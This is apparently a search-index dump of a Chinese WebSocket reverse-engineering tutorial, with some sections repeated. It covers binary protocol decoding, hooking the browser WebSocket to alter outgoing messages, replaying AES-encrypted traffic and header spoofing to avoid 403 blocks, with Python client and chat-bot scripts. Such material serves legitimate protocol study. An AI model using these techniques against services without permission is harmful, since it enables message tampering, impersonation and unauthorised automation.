msg = \"type|chat|user_id|123\" print(parse_message(msg)) # {'type': 'chat', 'user_id': '123'} ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#自定义分隔符"},{"categories":null,"collections":null,"content":"3.2 二进制协议 (Binary Frame) Protobuf (Protocol Buffers) 特征: 紧凑的二进制格式 字段没有 Key 名称（只有 Tag 编号） 常见于 Google 系产品、gRPC 识别方法: 搜索 JS 代码中的 proto.decode、protobuf.Reader 查找 .proto 文件（可能在 JS 中嵌入或从 API 获取） 逆向技巧 1: 提取 .proto 定义 // 在浏览器 Console 中搜索 for (let key in window) { if (key.includes(\"proto\") || key.includes(\"Proto\")) { console.log(key, window[key]); } } 逆向技巧 2: 使用 protobuf-inspector 猜解 pip install protobuf-inspector # 分析二进制数据 protobuf-inspector \u003c message.bin 输出示例: 1: \"chat\" # Tag 1, 类型 string 2: 123 # Tag 2, 类型 int 3: 1638360000 # Tag 3, 类型 int Python 解码（已知 .proto 定义）: import message_pb2 # 由 protoc 编译生成 data = b'\\x0a\\x04chat\\x10\\x7b\\x18\\x80\\xe0\\xf3\\xc6\\x06' msg = message_pb2.ChatMessage() msg.ParseFromString(data) print(msg) MsgPack 特征: 类似二进制版的 JSON 支持多种数据类型（int、string、array、map） 识别方法: 查找 msgpack.decode、msgpack.encode Python 解码: import msgpack data = b'\\x82\\xa4type\\xa4chat\\xa7user_id\\x7b' msg = msgpack.unpackb(data) print(msg) # {'type': 'chat', 'user_id': 123} 在线工具: MessagePack Viewer 自定义二进制格式 案例: 某游戏的二进制协议 抓包示例: 00 01 00 7b 00 00 01 8b 48 65 6c 6c 6f │ │ │ │ │ │ │ │ │ └─ \"Hello\" (UTF-8) │ │ │ └─ Timestamp (4 bytes) │ │ └─ User ID (2 bytes, 0x007b = 123) │ └─ Message Type (1 = chat) └─ Version 逆向步骤: 对比多个消息，找出固定字段位置 根据数值范围猜测字段类型（uint8, uint16, uint32） 编写解析器 Python 解析: import struct def parse_custom_protocol(data): version, msg_type, user_id, timestamp = struct.unpack('\u003eBBHI', data[:8]) message = data[8:].decode('utf-8') return { 'version': version, 'type': msg_type, 'user_id': user_id, 'timestamp': timestamp, 'message': message } # 测试 data = bytes.fromhex('00 01 00 7b 00 00 01 8b 48656c6c6f') print(parse_custom_protocol(data)) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#32-二进制协议-binary-frame"},{"categories":null,"collections":null,"content":"3.2 二进制协议 (Binary Frame) Protobuf (Protocol Buffers) 特征: 紧凑的二进制格式 字段没有 Key 名称（只有 Tag 编号） 常见于 Google 系产品、gRPC 识别方法: 搜索 JS 代码中的 proto.decode、protobuf.Reader 查找 .proto 文件（可能在 JS 中嵌入或从 API 获取） 逆向技巧 1: 提取 .proto 定义 // 在浏览器 Console 中搜索 for (let key in window) { if (key.includes(\"proto\") || key.includes(\"Proto\")) { console.log(key, window[key]); } } 逆向技巧 2: 使用 protobuf-inspector 猜解 pip install protobuf-inspector # 分析二进制数据 protobuf-inspector \u003c message.bin 输出示例: 1: \"chat\" # Tag 1, 类型 string 2: 123 # Tag 2, 类型 int 3: 1638360000 # Tag 3, 类型 int Python 解码（已知 .proto 定义）: import message_pb2 # 由 protoc 编译生成 data = b'\\x0a\\x04chat\\x10\\x7b\\x18\\x80\\xe0\\xf3\\xc6\\x06' msg = message_pb2.ChatMessage() msg.ParseFromString(data) print(msg) MsgPack 特征: 类似二进制版的 JSON 支持多种数据类型（int、string、array、map） 识别方法: 查找 msgpack.decode、msgpack.encode Python 解码: import msgpack data = b'\\x82\\xa4type\\xa4chat\\xa7user_id\\x7b' msg = msgpack.unpackb(data) print(msg) # {'type': 'chat', 'user_id': 123} 在线工具: MessagePack Viewer 自定义二进制格式 案例: 某游戏的二进制协议 抓包示例: 00 01 00 7b 00 00 01 8b 48 65 6c 6c 6f │ │ │ │ │ │ │ │ │ └─ \"Hello\" (UTF-8) │ │ │ └─ Timestamp (4 bytes) │ │ └─ User ID (2 bytes, 0x007b = 123) │ └─ Message Type (1 = chat) └─ Version 逆向步骤: 对比多个消息，找出固定字段位置 根据数值范围猜测字段类型（uint8, uint16, uint32） 编写解析器 Python 解析: import struct def parse_custom_protocol(data): version, msg_type, user_id, timestamp = struct.unpack('\u003eBBHI', data[:8]) message = data[8:].decode('utf-8') return { 'version': version, 'type': msg_type, 'user_id': user_id, 'timestamp': timestamp, 'message': message } # 测试 data = bytes.fromhex('00 01 00 7b 00 00 01 8b 48656c6c6f') print(parse_custom_protocol(data)) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#protobuf-protocol-buffers"},{"categories":null,"collections":null,"content":"3.2 二进制协议 (Binary Frame) Protobuf (Protocol Buffers) 特征: 紧凑的二进制格式 字段没有 Key 名称（只有 Tag 编号） 常见于 Google 系产品、gRPC 识别方法: 搜索 JS 代码中的 proto.decode、protobuf.Reader 查找 .proto 文件（可能在 JS 中嵌入或从 API 获取） 逆向技巧 1: 提取 .proto 定义 // 在浏览器 Console 中搜索 for (let key in window) { if (key.includes(\"proto\") || key.includes(\"Proto\")) { console.log(key, window[key]); } } 逆向技巧 2: 使用 protobuf-inspector 猜解 pip install protobuf-inspector # 分析二进制数据 protobuf-inspector \u003c message.bin 输出示例: 1: \"chat\" # Tag 1, 类型 string 2: 123 # Tag 2, 类型 int 3: 1638360000 # Tag 3, 类型 int Python 解码（已知 .proto 定义）: import message_pb2 # 由 protoc 编译生成 data = b'\\x0a\\x04chat\\x10\\x7b\\x18\\x80\\xe0\\xf3\\xc6\\x06' msg = message_pb2.ChatMessage() msg.ParseFromString(data) print(msg) MsgPack 特征: 类似二进制版的 JSON 支持多种数据类型（int、string、array、map） 识别方法: 查找 msgpack.decode、msgpack.encode Python 解码: import msgpack data = b'\\x82\\xa4type\\xa4chat\\xa7user_id\\x7b' msg = msgpack.unpackb(data) print(msg) # {'type': 'chat', 'user_id': 123} 在线工具: MessagePack Viewer 自定义二进制格式 案例: 某游戏的二进制协议 抓包示例: 00 01 00 7b 00 00 01 8b 48 65 6c 6c 6f │ │ │ │ │ │ │ │ │ └─ \"Hello\" (UTF-8) │ │ │ └─ Timestamp (4 bytes) │ │ └─ User ID (2 bytes, 0x007b = 123) │ └─ Message Type (1 = chat) └─ Version 逆向步骤: 对比多个消息，找出固定字段位置 根据数值范围猜测字段类型（uint8, uint16, uint32） 编写解析器 Python 解析: import struct def parse_custom_protocol(data): version, msg_type, user_id, timestamp = struct.unpack('\u003eBBHI', data[:8]) message = data[8:].decode('utf-8') return { 'version': version, 'type': msg_type, 'user_id': user_id, 'timestamp': timestamp, 'message': message } # 测试 data = bytes.fromhex('00 01 00 7b 00 00 01 8b 48656c6c6f') print(parse_custom_protocol(data)) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#msgpack"},{"categories":null,"collections":null,"content":"3.2 二进制协议 (Binary Frame) Protobuf (Protocol Buffers) 特征: 紧凑的二进制格式 字段没有 Key 名称（只有 Tag 编号） 常见于 Google 系产品、gRPC 识别方法: 搜索 JS 代码中的 proto.decode、protobuf.Reader 查找 .proto 文件（可能在 JS 中嵌入或从 API 获取） 逆向技巧 1: 提取 .proto 定义 // 在浏览器 Console 中搜索 for (let key in window) { if (key.includes(\"proto\") || key.includes(\"Proto\")) { console.log(key, window[key]); } } 逆向技巧 2: 使用 protobuf-inspector 猜解 pip install protobuf-inspector # 分析二进制数据 protobuf-inspector \u003c message.bin 输出示例: 1: \"chat\" # Tag 1, 类型 string 2: 123 # Tag 2, 类型 int 3: 1638360000 # Tag 3, 类型 int Python 解码（已知 .proto 定义）: import message_pb2 # 由 protoc 编译生成 data = b'\\x0a\\x04chat\\x10\\x7b\\x18\\x80\\xe0\\xf3\\xc6\\x06' msg = message_pb2.ChatMessage() msg.ParseFromString(data) print(msg) MsgPack 特征: 类似二进制版的 JSON 支持多种数据类型（int、string、array、map） 识别方法: 查找 msgpack.decode、msgpack.encode Python 解码: import msgpack data = b'\\x82\\xa4type\\xa4chat\\xa7user_id\\x7b' msg = msgpack.unpackb(data) print(msg) # {'type': 'chat', 'user_id': 123} 在线工具: MessagePack Viewer 自定义二进制格式 案例: 某游戏的二进制协议 抓包示例: 00 01 00 7b 00 00 01 8b 48 65 6c 6c 6f │ │ │ │ │ │ │ │ │ └─ \"Hello\" (UTF-8) │ │ │ └─ Timestamp (4 bytes) │ │ └─ User ID (2 bytes, 0x007b = 123) │ └─ Message Type (1 = chat) └─ Version 逆向步骤: 对比多个消息，找出固定字段位置 根据数值范围猜测字段类型（uint8, uint16, uint32） 编写解析器 Python 解析: import struct def parse_custom_protocol(data): version, msg_type, user_id, timestamp = struct.unpack('\u003eBBHI', data[:8]) message = data[8:].decode('utf-8') return { 'version': version, 'type': msg_type, 'user_id': user_id, 'timestamp': timestamp, 'message': message } # 测试 data = bytes.fromhex('00 01 00 7b 00 00 01 8b 48656c6c6f') print(parse_custom_protocol(data)) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:5:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#自定义二进制格式"},{"categories":null,"collections":null,"content":"4. Hook WebSocket ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:6:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#4-hook-websocket"},{"categories":null,"collections":null,"content":"4.1 劫持 WebSocket 构造函数 在页面加载前注入脚本（通过 Tampermonkey 或浏览器扩展）： (function () { const _WebSocket = window.WebSocket; window.WebSocket = function (url, protocols) { console.log(\"[WS] 连接:\", url); const ws = new _WebSocket(url, protocols); // Hook send 方法 const _send = ws.send; ws.send = function (data) { console.log(\"[WS Send]\", data); debugger; // 发送前断点 return _send.apply(this, arguments); }; // Hook message 事件 ws.addEventListener(\"message\", function (e) { console.log(\"[WS Recv]\", e.data); }); // Hook close 事件 ws.addEventListener(\"close\", function (e) { console.log(\"[WS Close]\", e.code, e.reason); }); // Hook error 事件 ws.addEventListener(\"error\", function (e) { console.error(\"[WS Error]\", e); }); return ws; }; })(); ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:6:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#41-劫持-websocket-构造函数"},{"categories":null,"collections":null,"content":"4.2 修改消息内容 const _send = ws.send; ws.send = function (data) { // 解析 JSON let msg = JSON.parse(data); // 修改内容 if (msg.type === \"chat\") { msg.message = \"Modified by hook!\"; } // 发送修改后的消息 return _send.call(this, JSON.stringify(msg)); }; ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:6:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#42-修改消息内容"},{"categories":null,"collections":null,"content":"4.3 拦截二进制消息 ws.addEventListener(\"message\", function (e) { if (e.data instanceof ArrayBuffer) { // 二进制数据 const view = new Uint8Array(e.data); console.log( \"[Binary]\", Array.from(view) .map((b) =\u003e b.toString(16).padStart(2, \"0\")) .join(\" \") ); } else { // 文本数据 console.log(\"[Text]\", e.data); } }); ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:6:3","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#43-拦截二进制消息"},{"categories":null,"collections":null,"content":"5. Python 客户端实现 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:7:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#5-python-客户端实现"},{"categories":null,"collections":null,"content":"5.1 基础连接 import asyncio import websockets import json async def connect(): uri = \"wss://example.com/socket\" async with websockets.connect(uri) as ws: print(\"已连接\") # 发送消息 await ws.send(json.dumps({ \"type\": \"auth\", \"token\": \"your_token_here\" })) # 接收消息 while True: message = await ws.recv() data = json.loads(message) print(\"收到:\", data) asyncio.run(connect()) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:7:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#51-基础连接"},{"categories":null,"collections":null,"content":"5.2 完整客户端类 import asyncio import websockets import json import time class WebSocketClient: def __init__(self, uri, token): self.uri = uri self.token = token self.ws = None self.running = False async def connect(self): \"\"\"连接 WebSocket\"\"\" self.ws = await websockets.connect( self.uri, extra_headers={ \"User-Agent\": \"Mozilla/5.0\", \"Origin\": \"https://example.com\" } ) self.running = True print(\"[连接成功]\") # 发送认证消息 await self.send_message({ \"type\": \"auth\", \"token\": self.token }) async def send_message(self, data): \"\"\"发送消息\"\"\" message = json.dumps(data) await self.ws.send(message) print(f\"[发送] {message}\") async def receive_loop(self): \"\"\"接收消息循环\"\"\" try: while self.running: message = await self.ws.recv() await self.handle_message(message) except websockets.ConnectionClosed: print(\"[连接已关闭]\") self.running = False async def handle_message(self, message): \"\"\"处理收到的消息\"\"\" try: data = json.loads(message) print(f\"[收到] {data}\") # 根据消息类型处理 if data.get(\"type\") == \"ping\": # 响应心跳 await self.send_message({\"type\": \"pong\"}) elif data.get(\"type\") == \"data\": # 处理业务数据 self.process_data(data) except Exception as e: print(f\"[错误] 处理消息失败: {e}\") def process_data(self, data): \"\"\"处理业务数据\"\"\" # 这里实现你的业务逻辑 pass async def heartbeat_loop(self): \"\"\"心跳循环\"\"\" while self.running: await asyncio.sleep(30) # 每 30 秒 if self.running: await self.send_message({\"type\": \"ping\"}) async def run(self): \"\"\"运行客户端\"\"\" await self.connect() # 并发运行接收循环和心跳循环 await asyncio.gather( self.receive_loop(), self.heartbeat_loop() ) async def close(self): \"\"\"关闭连接\"\"\" self.running = False if self.ws: await self.ws.close() print(\"[已断开连接]\") # 使用 async def main(): client = WebSocketClient( uri=\"wss://example.com/socket\", token=\"your_token_here\" ) try: await client.run() except KeyboardInterrupt: await client.close() asyncio.run(main()) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:7:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#52-完整客户端类"},{"categories":null,"collections":null,"content":"5.3 断线重连 class WebSocketClient: # ... 前面的代码 ... async def run_with_reconnect(self): \"\"\"带自动重连的运行\"\"\" max_retries = 5 retry_count = 0 while retry_count \u003c max_retries: try: await self.connect() retry_count = 0 # 连接成功，重置计数 await asyncio.gather( self.receive_loop(), self.heartbeat_loop() ) except Exception as e: retry_count += 1 wait_time = min(2 ** retry_count, 60) # 指数退避，最多 60 秒 print(f\"[错误] {e}\") print(f\"[重连] {retry_count}/{max_retries}，等待 {wait_time} 秒...\") await asyncio.sleep(wait_time) print(\"[失败] 超过最大重试次数\") ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:7:3","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#53-断线重连"},{"categories":null,"collections":null,"content":"5.4 处理二进制消息 import struct class WebSocketClient: async def handle_message(self, message): # 判断消息类型 if isinstance(message, bytes): # 二进制消息 await self.handle_binary_message(message) else: # 文本消息 await self.handle_text_message(message) async def handle_binary_message(self, data): \"\"\"处理二进制消息\"\"\" # 示例：自定义协议 msg_type, user_id, timestamp = struct.unpack('\u003eBHI', data[:7]) payload = data[7:] print(f\"[二进制] type={msg_type}, user_id={user_id}, time={timestamp}\") print(f\"[Payload] {payload.hex()}\") async def handle_text_message(self, message): \"\"\"处理文本消息\"\"\" data = json.loads(message) print(f\"[文本] {data}\") ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:7:4","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#54-处理二进制消息"},{"categories":null,"collections":null,"content":"6. 认证与安全 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:8:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#6-认证与安全"},{"categories":null,"collections":null,"content":"6.1 Token 认证 方式 1: 在连接 URL 中传递 uri = f\"wss://example.com/socket?token={token}\" 方式 2: 在 Header 中传递 ws = await websockets.connect( uri, extra_headers={\"Authorization\": f\"Bearer {token}\"} ) 方式 3: 连接后发送认证消息 await ws.send(json.dumps({\"type\": \"auth\", \"token\": token})) response = await ws.recv() # 验证认证是否成功 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:8:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#61-token-认证"},{"categories":null,"collections":null,"content":"6.2 加密消息 案例: 某聊天应用的 AES 加密 浏览器端: // 发送前加密 function sendEncrypted(ws, data) { const key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); const iv = CryptoJS.enc.Utf8.parse(\"abcdef1234567890\"); const encrypted = CryptoJS.AES.encrypt(JSON.stringify(data), key, { iv: iv, mode: CryptoJS.mode.CBC, }); ws.send(encrypted.toString()); // Base64 格式 } Python 复现: from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 import json class EncryptedWebSocketClient(WebSocketClient): def __init__(self, uri, token): super().__init__(uri, token) self.key = b'1234567890abcdef' self.iv = b'abcdef1234567890' def encrypt_message(self, data): \"\"\"加密消息\"\"\" cipher = AES.new(self.key, AES.MODE_CBC, self.iv) plaintext = json.dumps(data).encode() encrypted = cipher.encrypt(pad(plaintext, AES.block_size)) return base64.b64encode(encrypted).decode() def decrypt_message(self, encrypted_b64): \"\"\"解密消息\"\"\" cipher = AES.new(self.key, AES.MODE_CBC, self.iv) encrypted = base64.b64decode(encrypted_b64) decrypted = unpad(cipher.decrypt(encrypted), AES.block_size) return json.loads(decrypted.decode()) async def send_message(self, data): \"\"\"发送加密消息\"\"\" encrypted = self.encrypt_message(data) await self.ws.send(encrypted) async def handle_message(self, message): \"\"\"处理加密消息\"\"\" try: decrypted = self.decrypt_message(message) print(f\"[收到] {decrypted}\") except Exception as e: print(f\"[错误] 解密失败: {e}\") ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:8:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#62-加密消息"},{"categories":null,"collections":null,"content":"7. 实战案例 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:9:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#7-实战案例"},{"categories":null,"collections":null,"content":"案例 1：股票行情 WebSocket 目标: 获取实时股票价格 分析过程: Chrome DevTools 抓包，发现消息格式为 JSON 观察消息类型: 发现需要登录后获取 Token 完整脚本: import asyncio import websockets import json async def stock_client(): # 1. 登录获取 Token（省略登录代码） token = \"your_token_here\" # 2. 连接 WebSocket uri = f\"wss://quotes.example.com/stream?token={token}\" async with websockets.connect(uri) as ws: print(\"已连接股票行情服务器\") # 3. 订阅股票 await ws.send(json.dumps({ \"type\": \"subscribe\", \"symbols\": [\"AAPL\", \"TSLA\", \"GOOG\"] })) # 4. 接收行情 while True: message = await ws.recv() data = json.loads(message) if data[\"type\"] == \"quote\": symbol = data[\"symbol\"] price = data[\"price\"] print(f\"{symbol}: ${price}\") elif data[\"type\"] == \"ping\": # 响应心跳 await ws.send(json.dumps({\"type\": \"pong\"})) asyncio.run(stock_client()) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:9:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#案例-1股票行情-websocket"},{"categories":null,"collections":null,"content":"案例 2：游戏协议逆向（Protobuf） 目标: 逆向某在线游戏的 WebSocket 协议 分析过程: 抓包发现是二进制消息（Opcode = 0x2） 搜索 JS 代码，找到 proto 对象和 .proto 定义 提取 .proto 文件并使用 protoc 编译 .proto 定义: syntax = \"proto3\"; message GameMessage { enum Type { LOGIN = 0; MOVE = 1; CHAT = 2; } Type type = 1; int32 user_id = 2; int64 timestamp = 3; bytes payload = 4; } message MovePayload { float x = 1; float y = 2; float z = 3; } 编译 .proto: protoc --python_out=. game.proto Python 客户端: import asyncio import websockets import game_pb2 import time async def game_client(): uri = \"wss://game.example.com/ws\" async with websockets.connect(uri) as ws: # 发送登录消息 login_msg = game_pb2.GameMessage() login_msg.type = game_pb2.GameMessage.LOGIN login_msg.user_id = 12345 login_msg.timestamp = int(time.time()) await ws.send(login_msg.SerializeToString()) # 发送移动消息 move_msg = game_pb2.GameMessage() move_msg.type = game_pb2.GameMessage.MOVE move_msg.user_id = 12345 move_msg.timestamp = int(time.time()) # 嵌入移动数据 move_payload = game_pb2.MovePayload() move_payload.x = 100.5 move_payload.y = 200.3 move_payload.z = 50.0 move_msg.payload = move_payload.SerializeToString() await ws.send(move_msg.SerializeToString()) # 接收消息 while True: data = await ws.recv() msg = game_pb2.GameMessage() msg.ParseFromString(data) print(f\"收到消息: type={msg.type}, user_id={msg.user_id}\") asyncio.run(game_client()) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:9:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#案例-2游戏协议逆向protobuf"},{"categories":null,"collections":null,"content":"案例 3：聊天应用协议 目标: 自动发送消息到聊天室 分析过程: 发现消息格式为 JSON 需要先认证，然后保持心跳 序列号 (seq) 必须递增 完整脚本: import asyncio import websockets import json import time class ChatClient: def __init__(self, username, password): self.username = username self.password = password self.seq = 0 self.ws = None def next_seq(self): \"\"\"生成下一个序列号\"\"\" self.seq += 1 return self.seq async def connect(self): \"\"\"连接并认证\"\"\" self.ws = await websockets.connect(\"wss://chat.example.com/ws\") # 发送认证消息 await self.ws.send(json.dumps({ \"seq\": self.next_seq(), \"type\": \"auth\", \"username\": self.username, \"password\": self.password })) # 等待认证响应 response = await self.ws.recv() data = json.loads(response) if data.get(\"type\") == \"auth_success\": print(\"认证成功\") return True else: print(\"认证失败:\", data) return False async def send_chat(self, room_id, message): \"\"\"发送聊天消息\"\"\" await self.ws.send(json.dumps({ \"seq\": self.next_seq(), \"type\": \"chat\", \"room_id\": room_id, \"message\": message, \"timestamp\": int(time.time() * 1000) })) async def heartbeat_loop(self): \"\"\"心跳循环\"\"\" while True: await asyncio.sleep(30) await self.ws.send(json.dumps({ \"seq\": self.next_seq(), \"type\": \"ping\" })) async def receive_loop(self): \"\"\"接收消息循环\"\"\" while True: message = await self.ws.recv() data = json.loads(message) print(f\"[{data['seq']}] {data['type']}: {data.get('message', '')}\") async def run(self): \"\"\"运行客户端\"\"\" if await self.connect(): # 发送测试消息 await self.send_chat(room_id=1, message=\"Hello from bot!\") # 并发运行接收和心跳 await asyncio.gather( self.receive_loop(), self.heartbeat_loop() ) # 使用 async def main(): client = ChatClient(\"bot_user\", \"bot_password\") await client.run() asyncio.run(main()) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:9:3","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#案例-3聊天应用协议"},{"categories":null,"collections":null,"content":"8. 常见问题与调试 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:10:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#8-常见问题与调试"},{"categories":null,"collections":null,"content":"8.1 连接失败 错误: WebSocketException: Invalid HTTP status code: 403 原因: 缺少必要的 Headers（如 Origin、User-Agent） Token 过期或无效 IP 被封禁 解决方案: # 添加完整的 Headers ws = await websockets.connect( uri, extra_headers={ \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\", \"Origin\": \"https://example.com\", \"Referer\": \"https://example.com/chat\", \"Cookie\": \"session=YOUR_SESSION_COOKIE\" } ) ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:10:1","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#81-连接失败"},{"categories":null,"collections":null,"content":"8.2 心跳超时 现象: 连接过几分钟后自动断开 原因: 服务器要求定期发送心跳，否则会主动关闭连接 解决方案: async def heartbeat_loop(self): while self.running: try: await asyncio.wait_for( self.ws.send(json.dumps({\"type\": \"ping\"})), timeout=5.0 # 5 秒超时 ) await asyncio.sleep(30) # 每 30 秒发送一次 except asyncio.TimeoutError: print(\"[心跳超时]\") break ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:10:2","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#82-心跳超时"},{"categories":null,"collections":null,"content":"8.3 消息乱序 现象: 收到的消息顺序不对 原因: 网络延迟或服务器并发处理 解决方案: 使用序列号 (seq) 重新排序 class MessageQueue: def __init__(self): self.queue = {} self.next_seq = 1 def add_message(self, seq, data): \"\"\"添加消息\"\"\" self.queue[seq] = data self.process_queue() def process_queue(self): \"\"\"按序处理消息\"\"\" while self.next_seq in self.queue: data = self.queue.pop(self.next_seq) print(f\"[处理消息 {self.next_seq}] {data}\") self.next_seq += 1 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:10:3","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#83-消息乱序"},{"categories":null,"collections":null,"content":"8.4 调试技巧 打印十六进制: def hex_dump(data): \"\"\"打印十六进制\"\"\" hex_str = ' '.join(f'{b:02x}' for b in data) print(f\"[Hex] {hex_str}\") # 使用 async def handle_message(self, message): if isinstance(message, bytes): hex_dump(message) 保存到文件: import datetime def log_message(message, direction): \"\"\"记录消息到文件\"\"\" timestamp = datetime.datetime.now().isoformat() with open('ws_log.txt', 'a') as f: f.write(f\"[{timestamp}] {direction}\\n{message}\\n\\n\") # 使用 async def send_message(self, data): message = json.dumps(data) log_message(message, \"SEND\") await self.ws.send(message) async def handle_message(self, message): log_message(message, \"RECV\") # ... 处理逻辑 ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:10:4","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#84-调试技巧"},{"categories":null,"collections":null,"content":"9. 工具推荐 工具 用途 平台 Chrome DevTools 浏览器内 WS 抓包调试 Chrome Wireshark 深度包分析、SSL 解密 全平台 mitmproxy 可编程拦截和修改 全平台 wscat 命令行 WS 客户端测试 Node.js websocat 高级命令行 WS 工具 Rust Postman API 测试（支持 WS） 全平台 wscat 使用: npm install -g wscat # 连接 wscat -c wss://echo.websocket.org # 发送消息 \u003e Hello WebSocket # 带 Header wscat -c wss://example.com/ws -H \"Authorization: Bearer token123\" ","date":"2024-07-12","objectID":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/:11:0","tags":["Web","RSA","代理池","SSL Pinning","加密分析","Hook"],"title":"WebSocket 逆向分析","uri":"/reverse_engineering/web/03-basic-recipes/websocket_reversing/#9-工具推荐"},{"categories":null,"collections":null,"content":"总结 WebSocket 逆向的关键步骤： ✅ 抓包分析: Chrome DevTools / Wireshark / mitmproxy ✅ 协议识别: JSON / 